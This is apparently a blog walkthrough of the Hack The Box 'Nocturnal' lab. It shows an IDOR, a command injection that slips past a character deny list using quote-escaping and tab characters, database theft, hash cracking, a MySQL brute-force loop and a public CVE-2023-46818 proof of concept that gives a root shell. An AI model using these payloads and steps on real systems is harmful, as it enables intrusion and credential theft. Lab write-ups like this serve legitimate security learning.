13 minute read

The Nocturnal machine on Hack The Box has a rating of “easy” and is a Linux server. Although it wasn’t too difficult, I definitely got stuck in a couple of places, and learned some important lessons because of it.

Interesting learnings include:

  • Getting creative with command injection to get around limitations.
  • Being meticulous about keeping track of credentials, and trying them on newly discovered services.
  • Widening search scope for public exploits.

Read on for a walkthrough of the machine, with more detail on the above points!

Initial Recon

As usual, I started with an nmap scan to find open TCP ports. A quick scan showed that ports 22 (SSH) and 80 (HTTP) were open:

% nmap 10.10.11.64 -oA quick
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-31 16:27 ADT
Nmap scan report for 10.10.11.64
Host is up (0.046s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.97 seconds

I also did a slower scan of all ports. It gave me some false-positives, but no other open TCP ports. I didn’t do a UDP scan.

The SSH port looked pretty standard, so I started by digging into the HTTP server. I quickly found that it was using nginx 1.18.0 and appeared to be serving a vhost of nocturnal.htb:

% curl -v 10.10.11.64

<SNIP>

< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.18.0 (Ubuntu)
< Date: Thu, 31 Jul 2025 19:29:12 GMT
< Content-Type: text/html
< Content-Length: 154
< Connection: keep-alive
< Location: http://nocturnal.htb/
<
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>

Setting up nocturnal.htb in /etc/hosts and visiting the site revealed a login page with information about the purpose of the site:

Home Page
Home Page

Evidently, the app allows us to upload files, access them, and share them. It also appears that they are being backed up somehow. More on that later 😉

I used the spent some time enumerating the site, and found the following:

  • It’s written in PHP (most of the paths have the .php extension).
  • The session ID is stored in the PHPSESSID cookie, and it looks standard.
  • I was able to register an account and found the following pages:
    • /index.php - the above page.
    • /register.php - for creating an account.
    • /login.php - for logging in.
    • /logout.php - for logging out.
    • /dashboard.php - for uploading files and viewing the file list; we’ll get more into this below.
    • /view.php - for viewing uploaded files; we’ll get more into this one as well.

The main functionality is in the /dashboard.php and /view.php endpoints.

Dashboard
Dashboard

The dashboard shows all uploaded files, and provides functionality to upload new files. Clicking on the link for an uploaded file (e.g. tig3rpuppet.pdf) downloads the file.

Foothold - Web Admin

First, I spent some time exploring the file upload functionality. I quickly found two limitations:

  • There was a file size restriction configured in nginx. Uploading a 1.9 MB file didn’t work (413 Request Entity Too Large), but a 79 KB file worked.
  • File types were being filtered. attempting to upload an image returned Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.

After a bit of playing around, it became clear that only the file extension was being checked. The provided Content-Type in the form upload and the actual file MIME type were being ignored.

I tried doing some fuzzing to see if I could determine where the files were being uploaded to, thinking that if I could find a way to upload a file with the .php extension, or find a directory traversal leading to LFI, this could allow me to get RCE. But I couldn’t find the location of the files.

Next I looked at the /view.php endpoint for downloading files. Interestingly this endpoint took two parameters: username and file. The above link shown on the dashboard page goes to:

http://nocturnal.htb/view.php?username=tig3rpuppet&file=tig3rpuppet.pdf

First I tried messing around with the file parameter. I tried directory traversal with prefixes such as /, ../, and ....// and got the same result as without the prefix. It appeared to be filtering such prefixes.

It also appears to be filtering the file extension, and checking for the existence of the file.

Using .js file extension: http://nocturnal.htb/view.php?username=tig3rpuppet&file=tig3rpuppet.js
Using .js file extension: http://nocturnal.htb/view.php?username=tig3rpuppet&file=tig3rpuppet.js
Trying file that doesn’t exist: http://nocturnal.htb/view.php?username=tig3rpuppet&file=noexist.pdf
Trying file that doesn’t exist: http://nocturnal.htb/view.php?username=tig3rpuppet&file=noexist.pdf

It is interesting to note that when the file is not found on the server, the files for the given username are listed. This will come in handy 🙂

Next up, the username parameter. Interestingly, the server response is different for existing users vs. non-existing users.

Using non-existing username: http://nocturnal.htb/view.php?username=noexist&file=noexist.pdf
Using non-existing username: http://nocturnal.htb/view.php?username=noexist&file=noexist.pdf

This can be used to find other valid usernames on the system! Furthermore, if the authorization is broken, I may be able to see a list of files owned by those other users, and perhaps even download them. Spoiler alert: there was no authorization 😅

I used ffuf with the xato-net-10-million-usernames-dup.txt wordlist to find some more usernames:

ffuf -ic -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -u 'http://nocturnal.htb/view.php?username=FUZZ&file=noexist.pdf' -H 'Cookie: PHPSESSID=<SESSION>' -fs 2985

Usernames found:

  • admin
  • amanda
  • tobias

And it turns out going to /view.php?username=amanda&file=noexist.pdf gives us a juicy-looking file!

File viewer showing the files for username amanda, including the file privacy.odt

And indeed, there was no authorization preventing us from downloading and reading this file. Doing so revealed some sensitive information:

A password!
A password!

I first tried amanda / arHkG7HAI68X8s1J as SSH credentials, with no luck. Then I tried them on the web app, and sure enough, they worked! Not only that, but apparently amanda has access to an admin panel.

Amanda's Dashboard
Amanda's Dashboard

User Flag

The admin panel provides access to the full PHP source for the site, as well as a form for triggering a backup.

Admin Panel
Admin Panel

Reading through the PHP code, I found that the “Create Backup” functionality appeared to be vulnerable to command injection, albeit in a limited way.

admin.php:

<?php

// SNIP

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

// SNIP

if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';

        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];

        $process = proc_open($command, $descriptor_spec, $pipes);
        if (is_resource($process)) {
            proc_close($process);
        }

        sleep(2);

        $logContents = file_get_contents($logFile);
        if (strpos($logContents, 'zip error') === false) {
            echo "<div class='backup-success'>";
            echo "<p>Backup created successfully.</p>";
            echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
            echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
            echo "</div>";
        } else {
            echo "<div class='error-message'>Error creating the backup.</div>";
        }

        unlink($logFile);
    }
}

The interesting line is the one that creates the backup command to be run:

$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

The $backupFile and $logFile variables are secure, but $password comes from user input. However, it is fed through the cleanEntry function before being injected into the command. What does cleanEntry do?

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

First, it checks for disallowed characters in the password, and returns false if such a character is found. Generally speaking, using a deny-list like this is poor practice, because the list may not be complete (as in this case, which we’ll see later).

Then it runs htmlspecialchars on the password before returning it. That’s also a red flag, because running any transformations on strings after they’ve been validated, sanitized or escaped can be dangerous.

In this case, using the " character as part of the password lets us break out of the zip command and run another command. For example, the password password"ls gets transformed to password&quot;ls which inserts a ; character and runs the ls command. We get this output:

ls: cannot access 'backups/backup_2025-08-14.zip': No such file or directory
.:
admin.php
backups
dashboard.php
index.php
login.php
logout.php
register.php
style.css
uploads
view.php

It is also important to note that although the <space> character is in the deny list, not all whitespace characters are. A tab character would pass validation. Meaning that we could use this to mess with the command parameters. This could allow us to add arbitrary files to the backup zip file!

The dashboard.php file references a database file:

<?php
session_start();
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit();
}

$db = new SQLite3('../nocturnal_database/nocturnal_database.db');
$user_id = $_SESSION['user_id'];
$username = $_SESSION['username'];

// SNIP

This database file, based on other code, appears to contain password hashes, so it is worth trying to download it. The following (URL-encoded) payload did the trick (sent using Burp):

password%09backups%2fbackup.zip%09..%2fnocturnal_database%22

With that payload, we get the following output:

The database backup is available for download

And then we can download the zip file from http://nocturnal.htb/backups/backup.zip, unzip it with a password of password, and get access to the nocturnal_database.db file. Note that for some reason it wouldn’t unzip properly for me on macOS, but it unzipped fine on Kali.

Then we can get access to the hashed passwords in the database:

% sqlite3 nocturnal_database/nocturnal_database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
uploads  users
sqlite> select * from users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
<SNIP>
sqlite>

Note that since this is a shared server, it included some usernames of other users working on the machine. However, we can use hashcat to attempt to crack the passwords for the system users, admin and tobias (we already have amanda’s password). Cracking with the rockyou.txt wordlist provided a password for tobias: slowmotionapocalypse

% cat md5_passwords.txt
d725aeba143f575736b07e045d8ceebb
55c82b1ccd55ab219b3b109b07d5061d

% hashcat -a 0 -m 0 md5_passwords.txt /seclists/Passwords/Leaked-Databases/rockyou.txt --show
55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse

Trying tobias / slowmotionapocalypse in SSH works, and we can get the user flag from the user.txt file in tobias’s home directory!

% sshpass -p slowmotionapocalypse ssh [email protected]
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)

<SNIP>

tobias@nocturnal:~$ ls
user.txt
tobias@nocturnal:~$ cat user.txt
<SNIP>
tobias@nocturnal:~$

⛳️

Post-Exploitation - Enumeration

My first step for post-exploitation is often to run the linpeas script and see if it uncovers anything interesting. In this case, it found the following:

  • A web server on local port 8080 running the ISPConfig web application.
  • Ports 25 and 587 open (used for SMTP). The server appeared to be running sendmail.
  • Ports 3306 and 33060 open, indicating that MySQL is running.

Other interesting findings included:

  • Users ispapps and ispconfig. I tried various passwords but couldn’t su to those users.
  • Interesting PHP settings:
    • allow_url_fopen = On
    • allow_url_include = Off
  • The ISPConfig web app appears to be running php directly: /usr/bin/php -S 127.0.0.1:8080
    • The process is being run by root
    • The working directory is likely /usr/local/ispconfig/interface/web/

Rabbit Holes

First, I looked at the ISPConfig web application, and got stuck (more on that below). As I was stuck there, I tried some other paths.

I tried to get logged into MySQL, and looked for various ways to get in. I tried various credentials which didn’t work.

I ran nmap scripts against MySQL (using an SSH tunnel on local port 8306), which gave me a bunch of “valid” users. I suspect they are all false-positives, but I decided to try logging in as those users anyway.

% nmap -sV -p8306 localhost --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-05 11:22 ADT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000042s latency).
Other addresses for localhost (not scanned): ::1

PORT     STATE SERVICE VERSION
8306/tcp open  mysql   MySQL 8.0.41-0ubuntu0.20.04.1
| mysql-enum:
|   Valid usernames:
|     root:<empty> - Valid credentials
|     netadmin:<empty> - Valid credentials
|     guest:<empty> - Valid credentials
|     user:<empty> - Valid credentials
|     web:<empty> - Valid credentials
|     sysadmin:<empty> - Valid credentials
|     administrator:<empty> - Valid credentials
|     webadmin:<empty> - Valid credentials
|     admin:<empty> - Valid credentials
|     test:<empty> - Valid credentials
|_  Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0
| mysql-info:
|   Protocol: 10
|   Version: 8.0.41-0ubuntu0.20.04.1
|   Thread ID: 76
|   Capabilities flags: 65535
|   Some Capabilities: Speaks41ProtocolNew, Support41Auth, SupportsCompression, Speaks41ProtocolOld, SupportsTransactions, InteractiveClient, LongPassword, ConnectWithDatabase, DontAllowDatabaseTableColumn, SwitchToSSLAfterHandshake, ODBCClient, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, LongColumnFlag, FoundRows, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: @M_(\x01R\x05We >S^H&\x19d\x01#1
|_  Auth Plugin Name: caching_sha2_password

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 202.66 seconds

I attempted to brute force credentials by writing a script to try all of the usernames I had come across, using a list of passwords including:

  • The passwords I had recovered.
  • All of the usernames.
  • An empty string.
% cat mysql-users.txt
admin
amanda
tobias
root
netadmin
guest
user
web
sysadmin
administrator
webadmin
test

% cat mysql-passwords.txt
arHkG7HAI68X8s1J
slowmotionapocalypse

admin
amanda
tobias
root
netadmin
guest
user
web
sysadmin
administrator
webadmin
test

% for user in `cat mysql-users.txt` ; do for password in `cat mysql-passwords.txt` ; do echo "$user : $password" ; mysql --skip-ssl -h localhost -P 8306 -u $user --password=$password ; done ; done

Unfortunately it didn’t find a valid login.

I also took some time to look into sendmail and found some config files in /etc/mail as well as /var/backups. I made a note to come back to these later, but didn’t investigate closely.

ISPConfig - Initial login

This was a learning experience for me, as it took much longer than it should have 🙂

I started by trying some of the creds that I had found previously, but didn’t find any creds that worked. I couldn’t tell what version of ISPConfig was running, so it was hard to tell whether any of the public exploits I was finding were going to work (more on public exploits below).

Eventually I noticed that the Password Reset leaks information about whether the username exists in the system. Using the username admin gives the message “Please enter email address and username”, whereas other usernames give “Username or email address does not match”.

Using `admin` username
Using `admin` username
Using non-existing username
Using non-existing username

Knowing that admin was a valid username, I tried various passwords with that username, and found that tobias’s password of slowmotionapocalypse worked. Probably should have been able to get that with a lot less work. Lesson learned 🙃

ISPConfig - exploitation

I hit two significant rabbit holes here.

First: I had already found some potential exploits from exploitDB, and I spent quite a while trying to make them work. It turns out they were for older versions of ISPConfig, and eventually I figured out that they weren’t going to work.

Second: Since those exploits didn’t work, I move on to digging into the functionality of ISPConfig itself. It’s meant to configure other machines in a network, so I thought maybe I could find a way to use that to run code or exfiltrate information from the machine itself. Nothing worked.

Finally, I searched elsewhere for vulnerabilities in ISPConfig, and found one that was relevant. It just wasn’t on exploitDB. Took me way to long to find it 🤦‍♂️

The vulnerability is CVE-2023-46818. There is a high quality POC, and it worked beautifully.

First, I needed to set up a port forward:

ssh -L 8080:localhost:8080 [email protected]

Then run the POC to pop a root shell and get the flag:

% wget https://karmainsecurity.com/pocs/CVE-2023-46818.php
<SNIP>

% php CVE-2023-46818.php http://localhost:8080/ admin slowmotionapocalypse
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell

ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)

ispconfig-shell# ls /root
root.txt
scripts

ispconfig-shell# cat /root/root.txt
<SNIP>

⛳️

Updated: